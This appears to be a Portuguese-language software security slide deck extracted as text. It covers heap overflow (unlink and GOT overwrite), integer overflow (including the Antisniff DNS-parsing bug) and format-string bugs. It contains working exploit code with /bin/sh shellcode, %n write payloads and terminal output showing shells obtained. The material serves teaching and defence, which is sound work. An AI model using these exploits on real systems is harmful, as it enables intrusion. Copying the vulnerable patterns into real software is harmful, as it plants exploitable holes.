  • 98. Heap Overflow Forjando terceiro chunk (In)Segurança de Software, Quebrando Códigos - Rafael Rosa aux = ptr2-12; *aux = 0xdefaced & ~0x1; /*size fake 3*/ aux++; *aux = 0xdefaced; /*prev_size 2*/ aux++; *aux = -8 | 0x1; /* size 2*/ aux++; *aux = ((char*)&foo) - 12; /* FD 2*/ aux++; *aux = payload; /* BK 2*/ free (ptr1); if( foo ) foo(); }
  • 99. Heap Overflow Forjando terceiro chunk (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  O terceiro chunk localiza-se na posição (ptr2-8) + *(ptr2-4).  free() entende que o campo size do terceiro chunk localiza-se em (ptr2-12).  Na representação de -8 o bit PREV_INUSE está desativado então unlink() é chamada no chunk 2.
  • 100. Heap Overflow A técnica (In)Segurança de Software, Quebrando Códigos - Rafael Rosa chunk A prev_size prev_size 00010000b 00010000b 0xdefaced dados 0xdefaced chunk B shellcode 00010001b 00010001b (GOT entry) - 12 dados shellcode addr chunk C 0xdefaced tam & PREV_INUSE tam & ~PREV_INUSE próximo livre próximo livre anterior livre anterior livre
  • 101. Heap Overflow A técnica (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  O atacante controla o chunk A. Os primeiros 8 bytes correspondem aos campos fd e bk do chunk, e serão sobrescritos ao se inserir o chunk na bin.  Shellcode é injetado.  Controlando bk e fd do segundo chunk pode-se sobrescrever qualquer endereço. Basta desabilitar o flag PREV_INUSE do terceiro chunk.
  • 102. Heap Overflow A técnica (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  É possível colocar o endereço do payload em qualquer lugar da memória.  Mas como fazer o payload ganhar o controle do eip? R: GOT
  • 103. Heap Overflow A técnica (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  É através da Global Offset Table que funções de bibliotecas compartilhadas são carregadas dinamicamente.  Chamadas de função fazem referência à GOT. Na primeira vez que uma função é chamada um endereço é alocado para a mesma. Esse endereço é colocado na GOT.  Chamadas subsequentes redirecionam o eip para o endereço encontrado na tabela.
  • 104. Heap Overflow A técnica (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Sobrescrevendo o endereço 0x08049608 com o endereço de bar(), toda vez que free() for chamada o fluxo será direcionado para o código de bar(). [rafael@centos heap]$ objdump -R heap_overflow_ex2 heap_overflow_ex2: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 080495f0 R_386_GLOB_DAT __gmon_start__ 08049600 R_386_JUMP_SLOT __gmon_start__ 08049604 R_386_JUMP_SLOT __libc_start_main 08049608 R_386_JUMP_SLOT free 0804960c R_386_JUMP_SLOT malloc [rafael@centos heap]$
  • 105. Heap Overflow Programa vulnerável (In)Segurança de Software, Quebrando Códigos - Rafael Rosa int main( int argc, char * argv[] ){ char *first, *second; if(argc != 2) return; first = malloc(666); second = malloc(12); strcpy( first, argv[1] ); printf("%sn", first); free( first ); free( second ); }
  • 106. Heap Overflow O ataque (In)Segurança de Software, Quebrando Códigos - Rafael Rosa #define FUNCTION_POINTER ( 0x08049628 ) #define CODE_ADDRESS ( 0x804a008 + 2*4 ) char payload[] = /*jmp*/ "xebx0a” “AAAAAAAAAA” /*shellcode*/ "x31xc0x50x68x2fx2fx73x68x68x2fx62x69" "x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcd" "x80"; int main(){ char *p, *argv[] = { "heap_overflow_ex3", buffer, NULL}; char buffer[ 680 + 1 ]; p = buffer; *((int*)p) = 0xdefaced; /*FD*/ p += 4; *((int*)p) = 0xdefaced; /*BK*/ p += 4;
  • 107. Heap Overflow O ataque (In)Segurança de Software, Quebrando Códigos - Rafael Rosa memcpy( p, payload, strlen(payload) ); p += strlen( payload ); memset( p, 'A', (680 - 4*5) - (2*4 + strlen(payload)) ); p += ( 680 - 4*5 ) - ( 2*4 + strlen(payload) ); *((int*)p) = 0xdefaced & ~0x1; /*size 3*/ p += 4; *((int*)p) = 0xdefaced; /*prev_size 2*/ p += 4; *((int*)p) = -8 | 0x1; /*size 2*/ p += 4; *((int*)p) = FUNCTION_POINTER - 12; /*FD*/ p += 4; *((int*)p) = CODE_ADDRESS; /*BK*/ p += 4; *p = '0'; execve(argv[0], argv, NULL); }
  • 108. Heap Overflow O ataque (In)Segurança de Software, Quebrando Códigos - Rafael Rosa chunk A prev_size prev_size 00010000 00010000 0xdefaced 0xdefaced dados shellcode Fake C 0xdefaced & ~0x1 chunk B 0xdefaced 00010001 0xfffffff8 (GOT entry) - 12 dados shellcode addr ... chunk C tam & PREV_INUSE tam & PREV_INUSE
  • 109. Heap Overflow Execução do ataque (In)Segurança de Software, Quebrando Códigos - Rafael Rosa [rafael@centos heap]$ ./exploit_heap_overflow_ex3 ë¬ï AAAAAAAAAA1ÀPh//shh/binãPSá1Ò° ÍAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAùÿÿžAAì¬ï sh-3.2$
  • 110. Agenda (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Falhas de Software  Princípios de Segurança de Software  Introdução à Overflow de Memória  Stack Overflow  Heap Overflow  Integer Overflow  Format String Bug  Técnicas Modernas  WorX  Stack Protector  ASLR
  • 111. Integer Overflow Representação de inteiro (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Uma variável tem um valor limite ditado pelo tamanho da mesma na memória. Quando esse valor limite é ultrapassado a variável é zerada, pois foi estourado seu limite físico. 11111111b (255) + 00000001b (1) ------------------ 100000000b
  • 112. Integer Overflow Unsigned overflow (In)Segurança de Software, Quebrando Códigos - Rafael Rosa int main(){ int i; unsigned char cont; cont = 0; for(i = 0; i < 300; i++) printf("%dn", cont++); } ... 253 254 255 0 1 2 ...
  • 113. Integer Overflow Representação de inteiro (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  A representação de números negativos é feita através do complemento de 2. -4 = (~4)+1 <=> -4 = (~00000100b) + 1b <=> -4 = (11111011b) + 1b <=> -4 = 11111100b
  • 114. Integer Overflow Representação de inteiro (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Uma variável deve especificar se representa valores signed (padrão) ou unsigned.  N bits representando valores unsigned podem assumir os valores [0,2ⁿ - 1].  Representando valores signed o msb é usado para representação de números negativos, logo o intervalo é [-2ⁿ˗¹, 2ⁿ˗¹ - 1].
  • 115. Integer Overflow Signed overflow (In)Segurança de Software, Quebrando Códigos - Rafael Rosa int main(){ int i; char cont; cont = 0; for(i = 0; i < 300; i++) printf("%dn", cont++); } ... 125 126 127 -128 -127 -126 ...
  • 116. Integer Overflow Conversões de tipo (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Ao se converter um signed de tipo menor para um unsigned de tipo maior ocorre sign extension e um valor negativo passa a ser representado como um valor muito grande.  Ao se converter um signed de tipo menor para um signed de tipo maior ocorre sign extension e os valores são preservados.
  • 117. Integer Overflow Conversões de tipo (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Ao se converter um unsigned de tipo menor para um unsigned de tipo maior ocorre zero extension e o valor é preservado.  Ao se converter um tipo maior para um tipo menor ocorre truncamento de bytes e os valores podem ser alterados.  Ao se converter de signed para unsigned de mesmo tipo, a representação de bits não se altera mas o valor é interpretado de maneira diferente.
  • 118. Integer Overflow Truncamento (In)Segurança de Software, Quebrando Códigos - Rafael Rosa int main(void){ int i; short s; char c; c = s = i = 0x41424344; printf("i = 0x%x (%d)n", i, i); printf("s = 0x%x (%d)n", s, s); printf("c = 0x%x (%d)n", c, c); }
  • 119. Integer Overflow Truncamento (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Ocorre quando um valor é atribuído a uma variável que não tem capacidade para representá-lo completamente. Então os bits mais significativos são descartados. [rafael@centos integer]$ ./integer_overflow_ex3 i = 0x41424344 (1094861636) s = 0x4344 (17220) c = 0x44 (68) [rafael@centos integer]$
  • 120. Integer Overflow Sign extension (In)Segurança de Software, Quebrando Códigos - Rafael Rosa int main(void){ int i; char c; i = c = (char)0xf0; printf("i = 0x%x (%d)n", i, i); printf("c = 0x%x (%d)n", c, c); i = c = (char)0x70; printf("i = 0x%x (%d)n", i, i); printf("c = 0x%x (%d)n", c, c); }
  • 121. Integer Overflow Sign extension (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Ocorre quando um valor signed é convertido para um tipo maior. O valor é copiado, e o bit mais significativo é estendido para os bits não usados. [rafael@centos integer]$ ./integer_overflow_ex4 i = 0xfffffff0 (-16) c = 0xfffffff0 (-16) i = 0x70 (112) c = 0x70 (112) [rafael@centos integer]$
  • 122. Integer Overflow Zero extension (In)Segurança de Software, Quebrando Códigos - Rafael Rosa int main(void){ int i; unsigned char c; i = c = (unsigned char)0xf0; printf("i = 0x%x (%d)n", i, i); printf("c = 0x%x (%d)n", c, c); i = c = (unsigned char)0x70; printf("i = 0x%x (%d)n", i, i); printf("c = 0x%x (%d)n", c, c); }
  • 123. Integer Overflow Zero extension (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Ocorre quando um valor unsigned é convertido para um tipo maior. O valor é copiado, e ocorre um extensão de zeros para os bits não usados. [rafael@centos integer]$. ./integer_overflow_ex5 i = 0xf0 (240) c = 0xf0 (240) i = 0x70 (112) c = 0x70 (112) [rafael@centos integer]$
  • 124. Integer Overflow Promoção de inteiros (In)Segurança de Software, Quebrando Códigos - Rafael Rosa int main(void){ unsigned char x = 10, sub; if( (x-20) <= -1 ) printf("x (%d) é menor que 20n", x); else printf("x (%d) é maior que 20n", x); sub = x-20; if( sub <= -1 ) printf("x (%d) é menor que 20n", x); else printf("x (%d) é maior que 20n", x); }
  • 125. Integer Overflow Promoção de inteiros (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Quando uma operação ocorre sobre uma variável, ela pode ser promovida para atender à expectativa do operador. Geralmente tudo é promovido para o tipo int.  Caso uma operação entre duas variáveis seja realizada, onde uma delas é de tipo maior que int, a outra é promovida para esse tipo.  Se o operador unsigned for de tamanho maior ou igual ao do signed, promove-se o operador signed para o tipo do operador unsigned.
  • 126. Integer Overflow Promoção de inteiros (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Se a representação for a mesma (signed ou unsigned), o operando de tipo menor é promovido para o de tipo maior.  Se o operador signed tiver tamanho maior que o operador unsigned, e puderem ser preservados os valores, promove-se o operador unsigned para o tipo do operador signed.
  • 127. Integer Overflow Promoção de inteiros (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Se o operador signed tiver tamanho maior que o operador unsigned, e não puderem ser preservados os valores, promove-se ambos para unsigned do tipo do operador signed. [rafael@centos integer]$ ./integer_overflow_ex6 x (10) é menor que 20 x (10) é maior que 20 [rafael@centos integer]$
  • 128. Integer Overflow Programas vulneráveis (In)Segurança de Software, Quebrando Códigos - Rafael Rosa #define MAXLEN 8 int main(){ int len, n; char buffer[MAXLEN]; scanf("%dn", &len); if(len > MAXLEN-1){ fprintf(stderr, "tamanho requisitado maior do que o permitidon"); return 1; } if( (n = fread(buffer, 1, len, stdin)) < 0 ) return 1; buffer[n] = '0'; printf("buffer %s", buffer); printf("n"); }
  • 129. Integer Overflow Programas vulneráveis (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Como o programa usa fread() para ler da entrada padrão, devemos terminar a entrada com um EOF (ctrl-D).  Na checagem de tamanho, len é um número negativo muito pequeno. Na passagem para fread() é convertido para unsigned, sendo interpretado como um valor muito grande. [rafael@centos integer]$ ./integer_overflow_ex7 -1 AAAABBBBCCCCDDDDEEEEFFFFbuffer: AAAABBBB Segmentation fault [rafael@centos integer]$
  • 130. Integer Overflow Programas vulneráveis (In)Segurança de Software, Quebrando Códigos - Rafael Rosa #define MAXLEN 200 int main(int argc, char *argv[]){ unsigned char len; char buffer[MAXLEN]; if(argc != 2) return 1; len = strlen(argv[1]); if(len > MAXLEN-1){ fprintf(stderr, "argumento muito longon"); return 1; } strcpy(buffer, argv[1]); printf("%sn", buffer); }
  • 131. Integer Overflow Programas vulneráveis (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  O comando perl passa 256 caracteres “A” como entrada. Esse valor não pode ser representado por len, com isso ocorre o truncamento e len recebe zero de strlen(argv[1]). [rafael@centos integer]$ ./integer_overflow_ex8 `perl -e 'print "A"x256'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Segmentation fault [rafael@centos integer]$
  • 132. Integer Overflow Antisniff v1.0 (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  A seguinte função faz o parsing de um domínio de dns e copia os dados para nameStr.  Cada palavra do domínio é precedida por 1 byte que indica o tamanho da palavra.  O pacote termina com um byte 0x00, indicando o fim do pacote.
  • 133. Integer Overflow Código do parsing (In)Segurança de Software, Quebrando Códigos - Rafael Rosa char *indx; int count; char nameStr[MAX_LEN]; //256 ... memset(nameStr, '0', sizeof(nameStr)); ... indx = (char *)(pkt + rr_offset); count = (char)*indx; while (count){ (char *)indx++; strncat(nameStr, (char *)indx, count); indx += count; count = (char)*indx; strncat(nameStr, ".", sizeof(nameStr) - strlen(nameStr)); } nameStr[strlen(nameStr)-1] = '0';
  • 134. Integer Overflow Buffer não gerenciado (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Não é feita nenhuma checagem de tamanho do buffer nameStr, o que possibilita um buffer overflow.  Enquanto count != 0 dados serão escritos no buffer.
  • 135. Integer Overflow Vamos corrigir isso rápido! (In)Segurança de Software, Quebrando Códigos - Rafael Rosa char *indx; int count; char nameStr[MAX_LEN]; //256 ... memset(nameStr, '0', sizeof(nameStr)); ... indx = (char *)(pkt + rr_offset); count = (char)*indx; while (count){ if (strlen(nameStr) + count < ( MAX_LEN - 1) ){ (char *)indx++; strncat(nameStr, (char *)indx, count); indx += count; count = (char)*indx; strncat(nameStr, ".", sizeof(nameStr) strlen(nameStr)); }else count = 0; } nameStr[strlen(nameStr)-1] = '0';
  • 136. Integer Overflow Problema com Signed extension (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  count é um signed controlado pelo usuário.  Passando um valor negativo para count esse valor será somado à strlen(nameStr) que é um valor unsigned.  count será promovido para unsigned int, e se tornará um valor muito grande, que quando somado à strlen(nameStr) pode gerar um overflow, resultando em um número muito pequeno, passando assim pelo teste.
  • 137. Integer Overflow Tempo é dinheiro! (In)Segurança de Software, Quebrando Códigos - Rafael Rosa char *indx; int count; char nameStr[MAX_LEN]; //256 ... memset(nameStr, '0', sizeof(nameStr)); ... indx = (char *)(pkt + rr_offset); count = (char)*indx; while (count){ if (strlen(nameStr) + (unsigned int)count < ( MAX_LEN - 1) ){ (char *)indx++; strncat(nameStr, (char *)indx, count); indx += count; count = (char)*indx; strncat(nameStr, ".", sizeof(nameStr) - strlen(nameStr)); }else count = 0; } nameStr[strlen(nameStr)-1] = '0';
  • 138. Integer Overflow Cast inútil (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Nada mudou!  Por falta de conhecimento o desenvolvedor achou que quando count fosse negativo algo parecido com isso seria feito: strlen(nameStr) - ((-1)*count)
  • 139. Integer Overflow Quanta manutenção! (In)Segurança de Software, Quebrando Códigos - Rafael Rosa unsigned char *indx; unsigned int count; unsigned char nameStr[MAX_LEN]; //256 ... memset(nameStr, '0', sizeof(nameStr)); ... indx = (char *)(pkt + rr_offset); count = (char)*indx; while (count){ if (strlen(nameStr) + count < ( MAX_LEN - 1) ){ indx++; strncat(nameStr, indx, count); indx += count; count = *indx; strncat(nameStr, ".", sizeof(nameStr) - strlen(nameStr)); }else count = 0; } nameStr[strlen(nameStr)-1] = '0';
  • 140. Integer Overflow Problemas Corrigidos!? (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Em count = (char)*indx; o byte que especifica o tamanho da palavra é lido como um unsigned char, através do cast, força-se uma conversão para signed char. Em seguida, ao se atribuir o valor à count ele é convertido para unsigned int, ocorre sign extension e o valor pode ser tratado como um valor muito grande.
  • 141. Integer Overflow Problemas Corrigidos!? (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Porém dessa vez strlen(nameStr) retorna 0 e o código não entra no if.  Na saída do loop um '0' será colocado em nameStr[-1].  Explorar essa vulnerabilidade é impossível nesse caso, mas em outras aplicações que apresentam a mesma falha pode ser possível tirar vantagem dessa brecha.
  • 142. Agenda (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Falhas de Software  Princípios de Segurança de Software  Introdução à Overflow de Memória  Stack Overflow  Heap Overflow  Integer Overflow  Format String Bug  Técnicas Modernas  WorX  Stack Protector  ASLR
  • 143. Format String Bug Format string (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  É uma string que contém o texto que será escrito no buffer de destino.  Pode conter tags de formatação (%d, %n, %p, etc...) que serão substituídas pelos parâmetros subsequentes corretamente formatados.  O número de argumentos seguindo uma string de formato tem que ser maior ou igual ao número de tags de formatação.
  • 144. Format String Bug Funções vulneráveis (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  printf, fprintf, sprintf, snprintf, vprintf, vfprintf, vsprintf, vsnprintf, syslog.
  • 145. Format String Bug Funcionamento interno (In)Segurança de Software, Quebrando Códigos - Rafael Rosa int main(){ esp int a = 0; variáveis locais char buffer[] = "strings de formato"; ebp ebp salvo printf("E%nste é o exemplo", &a); ret printf(" %08d de %sn", a, buffer); format string printf("O endereço de buffer é: %08pn", buffer); &a } [rafael@centos format string]$ ./format_string_ex1 Este é o exemplo 00000001 de strings de formato O endereço de buffer é: 0xbffff4ed [rafael@centos format string]$
  • 146. Format String Bug Tags de formatação (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  %n coloca o número de caracteres escritos até o momento em um ponteiro para inteiro.  %08d fará com que seja copiado para a saída um decimal preenchido com zeros à esquerda até que se complete o tamanho de 8 caracteres.  %08x lê um inteiro e gera saída em hexadecimal com um tamanho de 8 bytes.
  • 147. Format String Bug Lendo da memória (In)Segurança de Software, Quebrando Códigos - Rafael Rosa void func(char *str){ printf(str); } int main(){ char str[] = "%08p%08p%08p%08p%08p%08p%08pn"; func(str); } [rafael@centos format string]$ ./format_string_ex2 (nil)0xbffff5080x804842a0xbffff4e6 (nil)0xbffff6f90xb7ee4dae [rafael@centos format string]$
  • 148. Format String Bug Lendo da memória (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Pode-se ler qualquer endereço a partir do ponteiro para a string de formato. ebp ebp func ret printf string de formato dummy 0x80495d4 ebp func 0xffea0108 ret func 0x80483f6
  • 149. Format String Bug Lendo de qualquer lugar da memória (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Como os endereços seguintes ao ponteiro para a string de formato podem ser acessados, isso permite que se acesse a própria string de formato, visto que a stack cresce em direção à memória baixa.  Então codificando um endereço (little endian) de memória diretamente na string de formato, pode-se ler o endereço apontado pelo mesmo através da tag de formato %s. O problema é que o endereço é tratado como uma string e vai terminar no primeiro NULL encontrado.
  • 150. Format String Bug Lendo de qualquer lugar da memória (In)Segurança de Software, Quebrando Códigos - Rafael Rosa int main(){ char *ptr, *addr; int i = 0x45444342; char str[] = "AAAAxffxffxffxff%08x%08x%08x%08x%08x%08x%08x__%s__n"; addr = (char*)&i; ptr = (char*)&addr; str[4] = *ptr; str[5] = *(ptr+1); str[6] = *(ptr+2); str[7] = *(ptr+3); printf(str); } [rafael@centos format string]$ ./format_string_ex3 AAAAøôÿ¿00000000000000000000000000000000000000000000000041414141__BCDEøôÿ¿üôÿ¿ õÿ¿xõÿ¿# Æè·# # # xõÿ¿# Æè·__ [rafael@centos format string]$
  • 151. Format String Bug Escrevendo na memória (In)Segurança de Software, Quebrando Códigos - Rafael Rosa int main(){ char *ptr, *addr; int i = 0xaabbccdd; char str[] = "AAAAxffxffxffxff%08x%08x%08x%08x%08x%08x%08x__%n__n"; addr = (char*)&i; ptr = (char*)&addr; str[4] = *ptr; str[5] = *(ptr+1); str[6] = *(ptr+2); str[7] = *(ptr+3); fprintf(stderr, "variavel i (%p) = 0x%xnn", &i, i); printf(str); fprintf(stderr, "nvariavel i (%p) = 0x%xn", &i, i); }
  • 152. Format String Bug Escrevendo na memória (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Codificando um endereço válido na string de formato, pode-se alterar o valor apontado por esse endereço.  Basta apenas chegar até a posição da string de formato na stack, e então encontrar o endereço codificado.
  • 153. Format String Bug Escrevendo na memória (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Então, é só passar a tag %n tendo como argumento o endereço codificado. [rafael@centos format string]$ ./format_string_ex4 variavel i (0xbffff4f8) = 0xaabbccdd AAAAøôÿ¿080485d0bffff4f8aabbccdd00000000000000000000000041414141____ variavel i (0xbffff4f8) = 0x42 [rafael@centos format string]$
  • 154. Format String Bug Controlando a memória (In)Segurança de Software, Quebrando Códigos - Rafael Rosa int main(){ char *ptr, *addr; int i = 0xaabbccdd; char str[] = "AAAAxffxffxffxff%0233811115x%08x%08x%08x%08x%08x” “%08x%08x__%n__n"; addr = (char*)&i; ptr = (char*)&addr; str[4] = *ptr; str[5] = *(ptr+1); str[6] = *(ptr+2); str[7] = *(ptr+3); fprintf(stderr, "variavel i (%p) = 0x%xnn", &i, i); printf(str); fprintf(stderr, "nvariavel i (%p) = 0x%xn", &i, i); }
  • 155. Format String Bug Controlando a memória (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Para controlar o valor a ser escrito no endereço codificado basta usar os especificadores de tamanho nas tags de formato. Assim, pode-se forçar que uma quantidade específica de bytes seja enviada para a saída, de modo que quando %n for ativada o valor a ser escrito possa ser controlado pelo atacante. [rafael@centos format string]$ ./format_string_ex5 > /dev/null variavel i (0xbffff4f8) = 0xaabbccdd variavel i (0xbffff4f8) = 0xdefaced [rafael@centos format string]$
  • 156. Format String Bug A técnica (In)Segurança de Software, Quebrando Códigos - Rafael Rosa char shellcode[]= "x31xc0x50x68x2fx2fx73x68x68x2fx62x69" "x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcd" "x80"; int main(int argc, char *argv[]){ if(argc != 2){ printf("uso: %s <param>n", argv[0]); return 1; } printf("shellcode - %pn", shellcode); printf("retaddr - %pn", &argc-1); printf(argv[1]); printf("n"); printf("%pn", *(&argc-1)); }
  • 157. Format String Bug A técnica (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Controlando qualquer endereço de memória é possível redirecionar o fluxo de execução do programa para o payload previamente injetado pelo atacante.  Para tal, basta sobrescrever um endereço de retorno ou uma entrada na GOT.
  • 158. Format String Bug String de formato (In)Segurança de Software, Quebrando Códigos - Rafael Rosa 1 x “AAAA” = 4 1 endereço = 4 %134519792x = 134519792 132 x %08x = 1056 total = 0x0804a018 então, bffff2ec = 0x804a018
  • 159. Format String Bug Redirecionando fluxo (In)Segurança de Software, Quebrando Códigos - Rafael Rosa [rafael@centos format string]$ /format_string_ex6 `cat badfile_ex61.bin` shellcode - 0x804a018 retaddr - 0xbffff2ec … bffff2ecbffff2e8bffff2f0b7ff0f50bffff2f0bffff348b7e8c685080484c008048340b ffff348b7e8c68500000002bffff374bffff380b7fe2b380000000100000001000000000804824cb7fc fff4080484c008048340bffff348d005e179fe6c9569000000000000000000000000b7ff6090b7e8c5 adb7ffeff400000002080483400000000008048361080483f400000002bffff374080484c0080484b0 b7ff0f50bffff36cb7ffbaaa00000002bffff4c0bffff4d400000000bffff705bffff727bffff73abffff771bFfff781 bffff78cbffff7dcbffff817bffff829bffff835bffffc5ebffffc84bffffcb4bffffce5bffffcf5bffffd42bffffd62bFfffd7d bffffda4bffffdb5bffffdcdbffffde2bffffdfdbffffe14bffffe1cbffffe2ebffffe5abffffe69bffffea5bfffff07bfFfff27b fffff34bfffff41bfffff63bfffff79bfffff92bfffffb6bfffffd20000000000000020b7ffd42000000021b7ffd0000 0000010078bf3bf000000060000100000000011000000640000000308048034000000040000002 0000000050000000800000007b7fe3000000000080000000000000009080483400000000b00000 3e70000000c000003e70000000d000003e70000000e000003e700000017000000000000001fbffff fe80000000fbffff4bb00000000000000000000000069000000003638366f662f2e74616d72727473 5f5f676e690036786541414141aaaaaaaaaaa 0x804a018 sh-3.2$ exit exit [rafael@centos format string]$
  • 160. Format String Bug Controlando a memória byte a byte (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Pode ser que haja algum limite para os especificadores de tamanho, como também para a quantidade total de caracteres gerados como saída.  Então, para controlar o valor a ser escrito, deve- se escrever byte a byte o valor na posição desejada.
  • 161. Format String Bug Controlando a memória byte a byte (In)Segurança de Software, Quebrando Códigos - Rafael Rosa 4 x “AAAA” = 16 4 endereços = 16 132 x %08x = 1056 %216x = 216 bffff2cc = 0x00000518 %136x = 136 bffff2cd = 0x000005a0 %100x = 100 bffff2ce = 0x00000604 %260x = 260 bffff2cf = 0x00000708 então, bffff2cc = 0x0804a018
  • 162. Format String Bug Controlando a memória byte a byte (In)Segurança de Software, Quebrando Códigos - Rafael Rosa [rafael@centos format string]$ /format_string_ex6 `cat badfile_ex62.bin` shellcode - 0x804a018 retaddr – 0xbffff2ccc .... AAAA����AAAA����AAAA����AAAA����bffff2ccbffff2c8bffff2d0b7ff0f50bffff 2d0bffff328b7e8c685080484c008048340bffff328b7e8c68500000002bffff354bffff360b7fe2b3800 00000100000001000000000804824cb7fcfff4080484c008048340bffff328d085a179feec9569000 000000000000000000000b7ff6090b7e8c5adb7ffeff40000000208048340000000000804836108 0483f400000002bffff354080484c0080484b0b7ff0f50bffff34cb7ffbaaa00000002bffff4a0bffff4b40 0000000bffff705bffff727bffff73abffff771bffff781bffff78cbffff7dcbffff817bffff829bffff835bffffc5ebffffc 84bffffcb4bffffce5bffffcf5bffffd42bffffd62bffffd7dbffffda4bffffdb5bffffdcdbffffde2bffffdfdbffffe14bffffe 1cbffffe2ebffffe5abffffe69bffffea5bfffff07bfffff27bfffff34bfffff41bfffff63bfffff79bfffff92bfffffb6bfffffd200 00000000000020b7ffd42000000021b7ffd00000000010078bf3bf0000000600001000000000110 000006400000003080480340000000400000020000000050000000800000007b7fe3000000000 080000000000000009080483400000000b000003e70000000c000003e70000000d000003e7000 0000e000003e700000017000000000000001fbfffffe80000000fbffff49b000000000000000000000 00069000000003638366f662f2e74616d727274735f5f676e6900367865 41414141 41414141 41414141 41414141aaaa 0x804a018 sh-3.2$
  • 163. Format String Bug Acesso direto à parametros (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Caso haja algum limite para o tamanho da string de formato injetada, pode-se usar o especificador de formato %pos$n, onde pos é a posição do argumento desejado na passagem para a função.
  • 164. Format String Bug Acesso direto à parametros (In)Segurança de Software, Quebrando Códigos - Rafael Rosa 4 x “AAAA” = 16 %100x = 100 4 endereços = 16 bffff4ce = 0x00000204 %248x = 248 %260x = 260 bffff4cc = 0x00000118 bffff4cf = 0x00000308 %136x = 136 então, bffff4cd = 0x000001a0 bffff4cc = 0x0804a018
  • 165. Format String Bug Acesso direto à parametros (In)Segurança de Software, Quebrando Códigos - Rafael Rosa [rafael@centos format string]$ /format_string_ex6 `cat badfile_ex63.bin` shellcode - 0x804a018 retaddr - 0xbffff4cc AAAA����AAAA����AAAA����AAAA���� bffff4cc bffff4c8 bffff4d0 b7ff0f50aaaa 0x804a018 sh-3.2$ exit exit [rafael@centos format string]$
  • 166. Format String Bug Programa vulnerável (In)Segurança de Software, Quebrando Códigos - Rafael Rosa int func(char *str){ printf(str); printf("n"); } int main(int argc, char *argv[]){ if(argc != 2){ printf("uso: %s <param>n", argv[0]); return 1; } func(argv[1]); }
  • 167. Format String Bug Planejamento (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  A exploração será feita através da GOT. Quando putchar() for chamada após o ataque, o fluxo do programa será redirecionado para o endereço injetado na tabela.  Basta gravar na entrada GOT de putchar() o endereço do payload. Sabendo em que posição (como parametro da função vulnerável) argv[1] se encontra, é fácil calcular seu endereço, dado o endereço (estimado) da stack.
